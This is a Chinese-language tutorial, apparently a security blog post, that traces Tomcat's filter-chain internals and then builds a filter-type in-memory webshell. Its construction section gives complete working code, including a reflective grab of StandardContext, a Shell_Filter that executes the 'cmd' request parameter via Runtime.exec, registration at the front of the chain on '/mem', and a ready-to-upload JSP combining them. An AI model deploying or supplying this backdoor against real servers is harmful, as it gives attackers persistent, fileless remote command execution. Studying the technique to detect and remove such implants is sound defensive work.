回顾前面 Tomcat 基础架构学习,container 由四个容器组件构成,每个都是包含关系Engine、Host、Context、Wrapper。
而 Servlet 是 container 中 Wrapper 层级 的资源;Filter 属于 container 中 Context 层级资源
所以我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
一.Filter 流程分析
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.76</version> </dependency> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import java.io.IOException;
public class filter implements Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter 初始构造完成"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() {
} }
|
web.xml 中设置路径
1 2 3 4 5 6 7 8 9
| <filter> <filter-name>filter</filter-name> <filter-class>filter</filter-class> </filter>
<filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping>
|
1.1 调 Filter 之前流程分析
写内存马之前,先看正常调用 Filter 的流程,来看看 filter 是怎样创建的,方便后续动态注册 Filter
总结就一句话,FilterChain 是根据 StandardContext 里的 filterConfigs 、filterDefs 和 filterMaps 生成的。修改这三个变量就能添加一个可以执行 webshell 的 filter,这就是 filter 型内存马的注入过程
在 dofilter 方法处下断点,之后访问/filter 就进入调试了。调用栈如下图,逆向进行分析怎么调用 filter 的

先从最近的这条看,ApplicationFilterChain.internalDoFilter
该方法主要是从 filterConfig(filters[pos++])中拿取过滤器实例,即从 ApplicationFilterConfig 获取 filter 过滤器实例,然后后面调用 doFilter 方法


Globals.IS_SECURITY_ENABLED 判断是否启用了容器级安全,没有启用直接进行后面的 dofilter 方法调用,也就是我们写的 filter 方法的调用

然后向上看是 ApplicationFilterChain.doFilter 方法 还是判断容器安全机制,若启用后通过
AccessController.doPrivileged 以特权的方式进行调用 internalDoFilter 方法,否则直接调用。这没有啥,接着往前看

从距离最近的 invoke 看:StandardWrapperValve.invoke,从此核心分析开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| @Override public final void invoke(Request request, Response response) throws IOException, ServletException {
StandardWrapper wrapper = (StandardWrapper) getContainer(); Servlet servlet = null;
long t1 = System.currentTimeMillis(); long t2 = 0; long time = 0;
String threadName = Thread.currentThread().getName(); String name = wrapper.getName();
ApplicationFilterChain filterChain = null;
try { request.setAttribute( ApplicationFilterFactory.DISPATCHER_TYPE_ATTR, DispatcherType.REQUEST); request.setAttribute( ApplicationFilterFactory.DISPATCHER_REQUEST_PATH_ATTR, request.getServletPath());
servlet = wrapper.allocate();
filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
if (filterChain != null) { filterChain.doFilter(request.getRequest(), response.getResponse()); }
} catch (ClientAbortException e) { wrapper.getLogger().debug(sm.getString("standardWrapperValve.clientAbort", name), e);
wrapper.incrementErrorCount(); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, e); } catch (Throwable e) { wrapper.incrementErrorCount(); request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, e); exception(request, response, e); } finally { if (filterChain != null) { filterChain.release(); }
try { wrapper.deallocate(servlet); } catch (Throwable e) { wrapper.getLogger().error(sm.getString("standardWrapperValve.deallocateException", name), e); }
t2 = System.currentTimeMillis(); time = t2 - t1; wrapper.updateProcessingTime(time); } }
|
代码这里创建过滤器链,之后调用过滤器链 doFilter 方法,创建过滤器链这里是核心,跟进去看看
1 2 3
| filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
|
先看下面这一部分,属于预处理的一部分
- 尝试从请求对象中获取现有的过滤器链
- 如果请求是 Request 类型且已有过滤器链,则复用它
- 如果请求是包装器且内部请求是 Request 类型,则从内部请求获取过滤器链
- 否则创建新的 ApplicationFilterChain 实例

下面是核心部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| filterChain.setServlet(servlet); filterChain.setServletSupportsAsync(wrapper.isAsyncSupported()); StandardContext context = (StandardContext)wrapper.getParent(); FilterMap[] filterMaps = context.findFilterMaps(); if (filterMaps != null && filterMaps.length != 0) { DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE"); String requestPath = null; Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH"); if (attribute != null) { requestPath = attribute.toString(); }
String servletName = wrapper.getName();
for(FilterMap filterMap : filterMaps) { if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig != null) { filterChain.addFilter(filterConfig); } } }
for(FilterMap filterMap : filterMaps) { if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) { ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); if (filterConfig != null) { filterChain.addFilter(filterConfig); } } }
return filterChain; } else { return filterChain; }
|
解释:
这一步首先获取了一个 context
1
| StandardContext context = (StandardContext)wrapper.getParent();
|
后面遍历 filterMaps:先按 URL pattern 的映射顺序获取对应过滤器 addFilter 加进来。
再次遍历 filterMaps:再按 Servlet name 的映射顺序 addFilter 追加获取到的过滤器,符合规范里“URL 模式优先、Servlet 名次之”的顺序要求
若无 filterMaps 或长度为 0,直接返回原始 filterChain。否则在两轮匹配后返回构建完成的 filterChain,至此完成对 filterchain 的构造
1
| filterChain.addFilter(filterConfig);
|
这里看到遍历从 context 中获取的 filterConfig 被添加到 filterChain 中了,并且获取方法它的参数 filterMap 因为也是从 Context 中获取的,所以应继续跟进 context,为保证后面的构造能正常执行去看看 context 中的 filterMap 和 filterConfig 构造吧
filterConfig
跟进上下文 StandardContext 调用的获取方法 findFilterConfig,属性 filterConfigs 是一个 hashMap,value 是 ApplicationFilterConfig 类的

找到 filterStart 方法中 put filterConfig 进行赋值,filterConfig 是一个 ApplicationFilterConfig 实例,所以反射创建 filterConfig,再调用方法把它 put 进 Context 中就好了

既然要反射创建,看看构造函数 ApplicationFilterConfig 类的构造函数中有两个属性,看 filterDef 这个类是一个标准的 JavaBean,所以就找到了可以上手的点,setter 方法


addFilterDef

filterMap
还有一个方法的参数 filterMap 还没看
filterMaps 中以 array 的形式存放各 filter 的路径映射信息,其对应的是 web.xml 中的标签

StandardContext 中存在方法 addFilterMap,可以对它进行赋值

所以最后按照下图的标准格式进行,对 filterDef,filterConfig,filterMap 进行赋值就好了


但上面我们是从上下文 Standardcontext调用的方法中出发进行分析的,首先还是得获取上下文
上面的代码是从 wrapper 的 parent 中获取的。
1
| StandardContext context = (StandardContext)wrapper.getParent();
|
我们可以两次反射赋值,这里需要对 tomcat 中的 context 有一定的了解:
Tomcat 中的对应的 ServletContext 实现是 ApplicationContext 。在 Web 应用中获取的 ServletContext 实际上是 ApplicationContextFacade 对象,对 ApplicationContext 进行了封装,而 ApplicationContext 实例中的 context 又包含了 StandardContext 实例。
直接获取的是 servletContext 所以可以通过俩次反射获得 StandardContext
1.2 调 Filter 之后流程分析
进入 ApplicationFilterChain.doFilter 很眼熟之前见过它,就不进行分析了

并且 filters 是调用 filter 之前就创建好的,正如上面分析的那样

虽然我的 IDEA 这里 WsFilter.dofilter 跟不进去,但之后又来到了 ApplicationFilterChain.doFilter 中

这是因为 filter 调用的过程就是按顺序执行 FilterChain 里的 filter,每个 filter 里的 chain.doFilter 都是调用下一个 filter 的 doFilter,直到走到 tomcat 自带的最后一个 filter 调用 servlet 的 service 方法。即当 pos > n 时,就会跳出 if 中,经过中间一些判断,最后走到<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">servlet.service(request, response);</font>

1.3 小结流程
invoke 中创建 filterChain 链,向上找到可控 filterConfig,filterDef,filterMap,进行内存马写入。
调用 filter 后 doFilter 按照 filterChain 中的顺序调用 filter
在最后一个 filter 执行完<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">doFilter</font>方法后,跳到Servlet.service()
二.构造
首先两次反射获取上下文 StandardContext
1 2 3 4 5 6 7 8
| ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
|
重新写一个 Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class Shell_Filter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); }
@Override public void destroy() {
} }
|
filterDef 封装 Filter
new 实例化或反射涉及到的属性:fiterMap,filterDef,filterConfigs
调用方法完成 StandardContext 属性的赋值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| Shell_Filter filter = new Shell_Filter(); String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/mem"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
|
整合起来写入一个 jsp 文件中(文件上传):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| <html> <head> <title>Title</title> </head> <body> <% ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); %>
<%! public class Shell_Filter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { }
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); }
@Override public void destroy() {
} } %>
<% Shell_Filter filter = new Shell_Filter(); String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/mem"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig); out.println("success");
%>
</body> </html>
|
访问 jsp 文件。成功将 filter 注册到 context 中

接着写的映射路径

三.理解总结
构造部分可以理解为将恶意 filter 像正常逻辑一样注册进 context 中为后续拦截做准备,我们需要存储三个重要的信息:filter 实例(包含恶意 dofilter 方法),filterDef(封装 Filter 的基本信息),FilterMap:定义匹配规则(拦截路径、请求类型),让 Tomcat 知道哪些请求需要触发这个 Filter。